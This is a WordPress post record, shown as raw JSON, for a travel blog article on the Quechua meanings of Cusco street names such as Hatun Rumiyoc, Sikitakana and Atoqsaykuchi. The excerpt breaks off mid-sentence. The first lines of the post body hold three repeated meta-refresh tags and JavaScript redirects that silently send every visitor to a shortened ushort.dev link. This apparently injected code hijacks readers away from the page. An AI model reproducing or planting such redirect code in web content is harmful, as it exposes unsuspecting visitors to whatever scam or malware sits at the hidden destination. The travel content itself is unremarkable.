{"id":17247,"date":"2025-07-25T12:43:14","date_gmt":"2025-07-25T17:43:14","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=17247"},"modified":"2025-07-25T13:01:56","modified_gmt":"2025-07-25T18:01:56","slug":"10-quechua-street-names-in-cusco-and-what-they-really-mean","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/10-quechua-street-names-in-cusco-and-what-they-really-mean\/","title":{"rendered":"10 Quechua Street Names in Cusco (And What They Really Mean)"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>Streets that share stories, legends, and&#8230; foxes catching their breath. If you\u2019ve ever explored Cusco with tired legs and a joyful heart (and likely a camera filled with alpaca or llama photos), you\u2019ve certainly walked along streets with names that resemble tongue twisters\u2014or lovely poems.<\/p>\n\n\n\n<p>But have you ever paused to consider what these names truly signify? Many of them are in <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/quechua-words-and-meanings\/\"><strong>Quechua, the language of the Incas<\/strong><\/a>, which is still spoken by millions throughout the Andes.<\/p>\n\n\n\n<p>And those names? They\u2019re not random. They\u2019re full of meaning\u2014sometimes majestic, sometimes hilarious, sometimes kind of poetic in a rough-around-the-edges sort of way.<\/p>\n\n\n\n<p>Therefore, let\u2019s dig into <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/history-of-some-streets-in-cusco\/\"><strong>10 street names in Cusco <\/strong><\/a>that you\u2019ve probably walked past (or up), and uncover the real meanings behind them.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Cusco and its streets: Such a lovely romance<\/strong><\/h2>\n\n\n\n<p>The city of Cusco isn\u2019t just about Machu Picchu train tickets, majestic mountains, or taking multiple shots in the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/exploring-cuscos-plaza-de-armas-heart-of-the-city\/\"><strong>Plaza de Armas.<\/strong><\/a><\/p>\n\n\n\n<p>&nbsp;This city was built layer by layer\u2014Inca stone walls beneath Spanish balconies, sacred springs beneath quiet alleyways.&nbsp;<\/p>\n\n\n\n<p>However, beyond its famous sights, there\u2019s something incredibly special hiding in plain sight: the names of the streets themselves.<\/p>\n\n\n\n<p>Walking through Cusco is like walking through a dictionary of Quechua, the ancient language of the Andes. These aren\u2019t just directions on a map\u2014they&#8217;re fragments of memory.&nbsp;<\/p>\n\n\n\n<p>Every name carries something: the sound of a river that no longer flows, the echo of a drumbeat from a forgotten festival, or even the practical warning of a slippery hill.<\/p>\n\n\n\n<p>If you\u2019ve ever wondered, What does that name mean?\u2014you\u2019re not alone. So, let\u2019s pull the thread and see where it leads.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Hatun Rumiyoc \u2013 \u201cThe Street of the Big Stone\u201d<\/strong><\/h2>\n\n\n\n<p>If Cusco had a red carpet, this would be it. Hatun Rumiyoc is that famous stone-lined alley with the<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/cuscos-12-angle-stone-a-masterpiece-of-inca-ingenuity\/\"><strong> twelve-angled stone<\/strong><\/a>\u2014a symbol of Inca precision that fits so perfectly, you\u2019d think it was photoshopped.<\/p>\n\n\n\n<p>In Quechua, Hatun means big or great, and Rumi means stone. Add a \u201cyoc\u201d at the end, and you get \u201cthe one with the big stone.\u201d Straightforward? Yes. Iconic? Absolutely.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/66775-Hatunrumiyoc.jpg?resize=697%2C392&#038;ssl=1\" alt=\"Several visitors at Hatun Rumiyoc street taking selfies, pictures and wandering around\" class=\"wp-image-17249\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/66775-Hatunrumiyoc.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/66775-Hatunrumiyoc.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/66775-Hatunrumiyoc.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/66775-Hatunrumiyoc.jpg?resize=1536%2C864&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/66775-Hatunrumiyoc.jpg?resize=2048%2C1152&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/66775-Hatunrumiyoc.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Hatun Rumiyoc Street once bordered the palace of Inca Roca, and today it connects <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/san-blas-in-cusco-a-guide-to-the-bohemian-neighborhood\/\"><strong>the San Blas bohemian<\/strong> <strong>venue<\/strong> <\/a>with the bustling historic center. San Blas Neighborhood is a charming venue filled with a fascinating religious history.&nbsp;<\/p>\n\n\n\n<p>Builders constructed this colonial Spanish neighborhood over the ancient Inca district known as Tokocachi. If you haven\u2019t taken a picture here, have you even been to Cusco?<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Kiskapata \u2013 \u201cThe Place of Thorns\u201d<\/strong><\/h2>\n\n\n\n<p>As you stroll along the street, you can still see the beautiful Inca terraces that remind us of its rich past. This spot is part of the old <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/qhapaq-nan-the-andean-road-system\/\"><strong>Qhapaq \u00d1an<\/strong><\/a>, the impressive Inca road that connected the Plaza de Armas to the Antisuyo region, where Machu Picchu now stands.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/504415999_9636707993105059_7667882829019602167_n.jpg?resize=697%2C523&#038;ssl=1\" alt=\"The quiet and silent Kiskipata Street\" class=\"wp-image-17250\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/504415999_9636707993105059_7667882829019602167_n.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/504415999_9636707993105059_7667882829019602167_n.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/504415999_9636707993105059_7667882829019602167_n.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/504415999_9636707993105059_7667882829019602167_n.jpg?resize=1536%2C1152&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/504415999_9636707993105059_7667882829019602167_n.jpg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/504415999_9636707993105059_7667882829019602167_n.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/504415999_9636707993105059_7667882829019602167_n.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>At the end of the street, you\u2019ll find a house that once belonged to the parents of Saint Rose of Lima. The name of the street translates from Quechua to \u201camong the thorns.\u201d&nbsp;<\/p>\n\n\n\n<p>The \u201cpata kiska\u201d is a thorny plant that can be quite prickly. Its saw-like spine can easily pierce through shoe leather and cause a sharp, burning sensation. So, be careful when exploring this beautiful area!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Sikitakana \u2013 \u201cThe Butt-Slapping Hill\u201d (No, seriously)<\/strong><\/h2>\n\n\n\n<p>At some point, locals and visitors have walked down this street to get to San Cristobal sightseeing. Locals now call it Calle Resbalosa (Slippery Street), but its Inca name was way more fun: Sikitakana. Here\u2019s the breakdown:&nbsp;<\/p>\n\n\n\n<p>Siki means butt (yes, really), and takana means to hit or pound. So Sikitakana = \u201cthe slope that hits your butt.\u201d Ever slid down this steep hill on a rainy day? The Incas felt your pain centuries ago.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"526\" height=\"776\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/475655544_1020766896746831_3089339436904734865_n.jpg?resize=526%2C776&#038;ssl=1\" alt=\"Beautiful picture of Resbalosa street in the 60's, the plaza de armas can be seen at distance\" class=\"wp-image-17251\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/475655544_1020766896746831_3089339436904734865_n.jpg?w=526&amp;ssl=1 526w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/475655544_1020766896746831_3089339436904734865_n.jpg?resize=203%2C300&amp;ssl=1 203w\" sizes=\"auto, (max-width: 526px) 100vw, 526px\" \/><figcaption class=\"wp-element-caption\"><strong>Resbalosa, or &#8220;Sikitakana&#8221; street in the 60&#8217;s<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>Therefore, the name likely comes from the many slips and falls people have suffered while walking along this steep and slippery street.<\/p>\n\n\n\n<p>It connects the Plaza de Armas with the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/a-stroll-through-cuscos-traditional-neighborhoods\/\"><strong>San Crist\u00f3bal neighborhood<\/strong><\/a> square, where you\u2019ll see the viewpoint and a local church. Keep in mind that the climb is no joke. The name might be cheeky, but it&#8217;s also a warning.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Waynapata \u2013 \u201cPlace of the Youth\u201d<\/strong><\/h2>\n\n\n\n<p>Tucked between Cusco\u2019s Plaza de Armas and the San Crist\u00f3bal Church, Waynapata is a delightful area whose name comes from the Quechua words \u201cWayna\u201d (young) and \u201cPata\u201d (place)\u2014meaning \u201cthe place of the young.\u201d<\/p>\n\n\n\n<p>You can imagine it as a vibrant neighborhood where young people came together to dance to the sounds of <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-pututo-the-sound-of-the-andes\/\"><strong>the pututo<\/strong><\/a> and enjoy chicha de jora. But there\u2019s even more to its story!<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"466\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/82219067_10151299135684959_3318737443120742400_n.jpg?resize=697%2C466&#038;ssl=1\" alt=\"Waynapata Stret in the morning and one person coming by\" class=\"wp-image-17252\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/82219067_10151299135684959_3318737443120742400_n.jpg?resize=1024%2C684&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/82219067_10151299135684959_3318737443120742400_n.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/82219067_10151299135684959_3318737443120742400_n.jpg?resize=768%2C513&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/82219067_10151299135684959_3318737443120742400_n.jpg?resize=1536%2C1025&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/82219067_10151299135684959_3318737443120742400_n.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/82219067_10151299135684959_3318737443120742400_n.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/82219067_10151299135684959_3318737443120742400_n.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>In Inca times, Waynapata was a key meeting spot for young warriors, called waynas, before they participated in the Huarachicuy ceremony.\u00a0<\/p>\n\n\n\n<p>This important rite of passage, held in <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/sacsayhuaman-unraveling-cuscos-epic-inca-enigma\/\"><strong>Sacsayhuam\u00e1n<\/strong><\/a>, marked their journey into adulthood. The area also featured military training schools, where these young men honed their skills to serve.<\/p>\n\n\n\n<p>So, Waynapata was not just the \u201cplace of the young,\u201d but truly a center of youth, discipline, and growth in Inca and Spanish culture.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Limacpampa \u2013 \u201cThe Place That Speaks\u201d<\/strong><\/h2>\n\n\n\n<p>Limacpampa, formerly known as <em>Rimacpampa<\/em> during pre-Hispanic times, was a significant urban area in Cusco.&nbsp;<\/p>\n\n\n\n<p>The Quechua term &#8220;R\u00edmac&#8221; translates to &#8220;the one who speaks,&#8221; while &#8220;pampa&#8221; means &#8220;plain,&#8221; together signifying \u201cthe plain where one speaks.\u201d&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"317\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/2280988453_8ae0e4cc94_h.webp?resize=697%2C317&#038;ssl=1\" alt=\"Female visitor taking pictures at limacpampa square\" class=\"wp-image-17254\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/2280988453_8ae0e4cc94_h.webp?resize=1024%2C466&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/2280988453_8ae0e4cc94_h.webp?resize=300%2C137&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/2280988453_8ae0e4cc94_h.webp?resize=768%2C349&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/2280988453_8ae0e4cc94_h.webp?resize=1536%2C699&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/2280988453_8ae0e4cc94_h.webp?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/2280988453_8ae0e4cc94_h.webp?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Female visitor taking pictures at &#8220;Limacpampa Grande Square&#8221;<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>This location served as a public square for announcing royal decrees. Chronicler <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/inca-garcilaso-de-la-vega-a-tale-of-two-worlds\/\"><strong>Inca Garcilaso de la Vega <\/strong><\/a>referred to it as the &#8220;plaza that speaks,&#8221; highlighting its role in proclaiming laws for public knowledge.&nbsp;<\/p>\n\n\n\n<p>It also marked the starting point of the royal road to Collasuyu. Throughout the colonial period, the area evolved as the Spanish established their presence in the city.&nbsp;<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p>Stones from the vicinity, for example,&nbsp; were repurposed for colonial buildings, and a road was built connecting Rimacpampa to the Coricancha temple.&nbsp;<\/p>\n\n\n\n<p>Likewise, historian Paulo de Azevedo observed that Rimacpampa developed around what is now Limacpampa Grande, encircled by traditional neighborhoods like San Blas (T\u2019oqocachi), characterized by irregular layouts that adapted to the valley&#8217;s slopes.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"398\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/descarga.png?resize=697%2C398&#038;ssl=1\" alt=\"&quot;Limacpampa Chico a small water fountain in the middle and a puma's feet \" class=\"wp-image-17253\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/descarga.png?resize=1024%2C584&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/descarga.png?resize=300%2C171&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/descarga.png?resize=768%2C438&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/descarga.png?resize=1536%2C875&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/descarga.png?w=1560&amp;ssl=1 1560w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/descarga.png?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>&#8220;Limacpampa Chico&#8221;, or Small Limacpampa Square<\/strong><\/figcaption><\/figure>\n\n\n\n<p>The area was also known as the \u201cPlaza de Peces,\u201d likely named after Francisco Peces, one of Cusco\u2019s founding settlers.&nbsp;<\/p>\n\n\n\n<p>Later, in the Republican era, Limacpampa emerged as a transport hub. By 1908, a tram system traversed the area, and following the 1950 earthquake, it was revitalized with monuments and walkways. Today, despite heavy traffic, it continues to be a valued historic and cultural site in Cusco.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Choqechaka \u2013 \u201cThe Golden Bridge\u201d<\/strong><\/h2>\n\n\n\n<p>In pre-Hispanic times, the area we now call Choquechaca was part of the ancient Inca neighborhood of T\u2019oqocachi.<\/p>\n\n\n\n<p>&nbsp;A small river, the Tullumayu\u2014also known as R\u00edo Rodadero\u2014flowed through this area, making it important for both homes and the water supply in the Cusco.<\/p>\n\n\n\n<p>During the colonial era, the name Choquechaca likely came from three stone plank bridges built over the Tullumayu stream by two noble Inca brothers named Choque.&nbsp;<\/p>\n\n\n\n<p>These bridges helped people reach their estate, \u201cUrupampachayuq,\u201d located north of the stream near the sacred<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/sapantiana-aqueduct-cuscos-forgotten-beauty\/\"><strong> site of Sapantiana.<\/strong><\/a><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"690\" height=\"1024\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/The-Choquechaca-facade-before-Los-Apus-around-1996_.webp?resize=690%2C1024&#038;ssl=1\" alt=\"Cool picture depicting Choquechaca street in the 70's\" class=\"wp-image-17255\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/The-Choquechaca-facade-before-Los-Apus-around-1996_.webp?resize=690%2C1024&amp;ssl=1 690w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/The-Choquechaca-facade-before-Los-Apus-around-1996_.webp?resize=202%2C300&amp;ssl=1 202w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/The-Choquechaca-facade-before-Los-Apus-around-1996_.webp?w=736&amp;ssl=1 736w\" sizes=\"auto, (max-width: 690px) 100vw, 690px\" \/><figcaption class=\"wp-element-caption\"><strong>Choquechaca Street in the 70&#8217;s<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>In the early 20th century, Choquechaca began to change significantly. In 1914, for instance,&nbsp; city officials covered the Tullumayu stream to improve the city\u2019s look.&nbsp;<\/p>\n\n\n\n<p>Between 1929 and 1930, they worked on reopening blocked streets to connect the Choquechaca and Tullumayu neighborhoods better.<\/p>\n\n\n\n<p>By 1937, Choquechaca still had stones from the riverbed, which made it hard for people and vehicles to move around.<\/p>\n\n\n\n<p>Since then, Choquechaca has seen few major changes, aside from road paving and regular maintenance. Today, it keeps its historic charm while playing an important role in Cusco\u2019s growing urban landscape.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Saphi \u2013 \u201cThe Root\u201d<\/strong><\/h2>\n\n\n\n<p>The name &#8220;Saphi&#8221; comes from the Quechua word for &#8220;root.&#8221; This reflects how important the street has been as a main access point to this city.&nbsp;<\/p>\n\n\n\n<p>Long ago, the Saphi River flowed through this area. It was changed by<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/inca-pachacutec-the-leader-who-redefined-his-world\/\"><strong> Inca Emperor Pachacutec<\/strong><\/a> when he reorganized the city after the Wari\u2013Chanca peoples left.&nbsp;<\/p>\n\n\n\n<p>As part of this development, a bridge was built to connect what we now know as Siete Cuartones and Calle del Tigre.&nbsp;<\/p>\n\n\n\n<p>This inca architecture spot later became known as the Puente de Santa Teresa. This area was also part of the Inca neighborhood called Huacapuncu, which means &#8220;Gateway of the Sanctuary.&#8221;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"376\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/475884548_3829971893934465_5119572186857879025_n.jpg?resize=697%2C376&#038;ssl=1\" alt=\"Saphy Street almost 100 years ago, the subway river\" class=\"wp-image-17256\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/475884548_3829971893934465_5119572186857879025_n.jpg?resize=1024%2C553&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/475884548_3829971893934465_5119572186857879025_n.jpg?resize=300%2C162&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/475884548_3829971893934465_5119572186857879025_n.jpg?resize=768%2C415&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/475884548_3829971893934465_5119572186857879025_n.jpg?w=1113&amp;ssl=1 1113w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Saphy Street, almost 100 years ago<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>During colonial times, settlers updated the agricultural terraces of Siete Cuartones to fit European-style city life.<\/p>\n\n\n\n<p>While some areas stayed as farms, Spanish settlers, including the well-known Don Diego de Silva y Guzm\u00e1n, began to move in.\u00a0<\/p>\n\n\n\n<p>In the Republican era, the street continued to change. In 1923, Mayor Manuel S. Frisancho started the third phase of the Saphi River&#8217;s vaulting.&nbsp;<\/p>\n\n\n\n<p>This work extended 350 meters from the Puente de Santa Teresa to the Puente de la Compa\u00f1\u00eda, using stone from the Rumicolca quarry.<\/p>\n\n\n\n<p>By the 1950s, local authorities transformed the former home of a Spanish general into the Saphi police station, highlighting the area&#8217;s ongoing importance in our community.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Pumaphaqcha \u2013 \u201cThe Puma Fountain\u201d<\/strong><\/h2>\n\n\n\n<p>In Inca times, water wasn\u2019t just for drinking\u2014it was sacred. And here on Pumaphaqcha street, there was once a fountain carved in the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/cusco-the-puma-shaped-city-of-the-andes\/\"><strong>shape of a puma<\/strong><\/a>, the animal that symbolized strength and protection.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"452\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/49496182207_6450d0670b_k.webp?resize=697%2C452&#038;ssl=1\" alt=\"Beautiful Pumaphaqcha street and Cusco's paqcha water fountain\" class=\"wp-image-17257\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/49496182207_6450d0670b_k.webp?w=768&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/49496182207_6450d0670b_k.webp?resize=300%2C195&amp;ssl=1 300w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>Puma is obvious. Phaqcha means waterfall or spring. The Incas came here for ritual purification. Later, during the colonial period, the land was taken over and transformed, but the memory of the sacred fountain lived on through the name.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Teqsecocha \u2013 \u201cLake of Washing\u201d (Maybe)<\/strong><\/h2>\n\n\n\n<p>This peaceful street near the Plaza de Armas has a rich and fascinating history. Its name hints at a different time, even though there is no lake in sight today.&nbsp;<\/p>\n\n\n\n<p><em>Teqsecocha<\/em> originates from the Quechua words <em>T\u2019aqsay<\/em> (to wash or cleanse) and <em>Qocha<\/em> (lake or pond), meaning \u201cthe lake where things are washed.\u201d&nbsp;<\/p>\n\n\n\n<p>This suggests that a spring-fed pool or a ritual washing site connected to the nearby Saphi River once existed.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/tecsecocha.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Silent and tranquill Tecsecocha street\" class=\"wp-image-17258\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/tecsecocha.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/tecsecocha.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/tecsecocha.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/tecsecocha.jpg?resize=1536%2C1024&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/tecsecocha.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/tecsecocha.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/07\/tecsecocha.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>Conversely, local historian Carre\u00f1o offers a contrasting perspective: the original name is <em>Tthicsuqqucho<\/em>, which means \u201cslanted corner.\u201d&nbsp;<\/p>\n\n\n\n<p>He notes that <em>Teqse<\/em> can also mean \u201cuniverse\u201d in Quechua, adding complexity to the name&#8217;s origins. By examining these differing explanations, we gain a deeper appreciation for the name&#8217;s rich meanings.&nbsp;<\/p>\n\n\n\n<p>This also inspires us to imagine what once existed here \u2013 a ceremonial pool, a public washing area, or a uniquely shaped street corner.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Atoqsaykuchi \u2013 \u201cThe Hill That Tires the Fox\u201d<\/strong><\/h2>\n\n\n\n<p>Saving the best for last? Maybe. Atoqsaykuchi is a long, steep climb in San Blas, and its name tells you everything: Atoq means fox, and sayk\u2019uchiy means to exhaust.<\/p>\n\n\n\n<p>Translation? The hill that even tires the fox. And if you\u2019ve tried to walk it, you know it\u2019s not exaggeration. The sculpture\u2019s gone, but the street name (and the steepness) stuck.&nbsp;<\/p>\n\n\n\n<p>The name of our lovely urban area comes from a carved stone on one of the walls along the street. This stone shows little foxes running with their tongues out, which makes us think of their playful 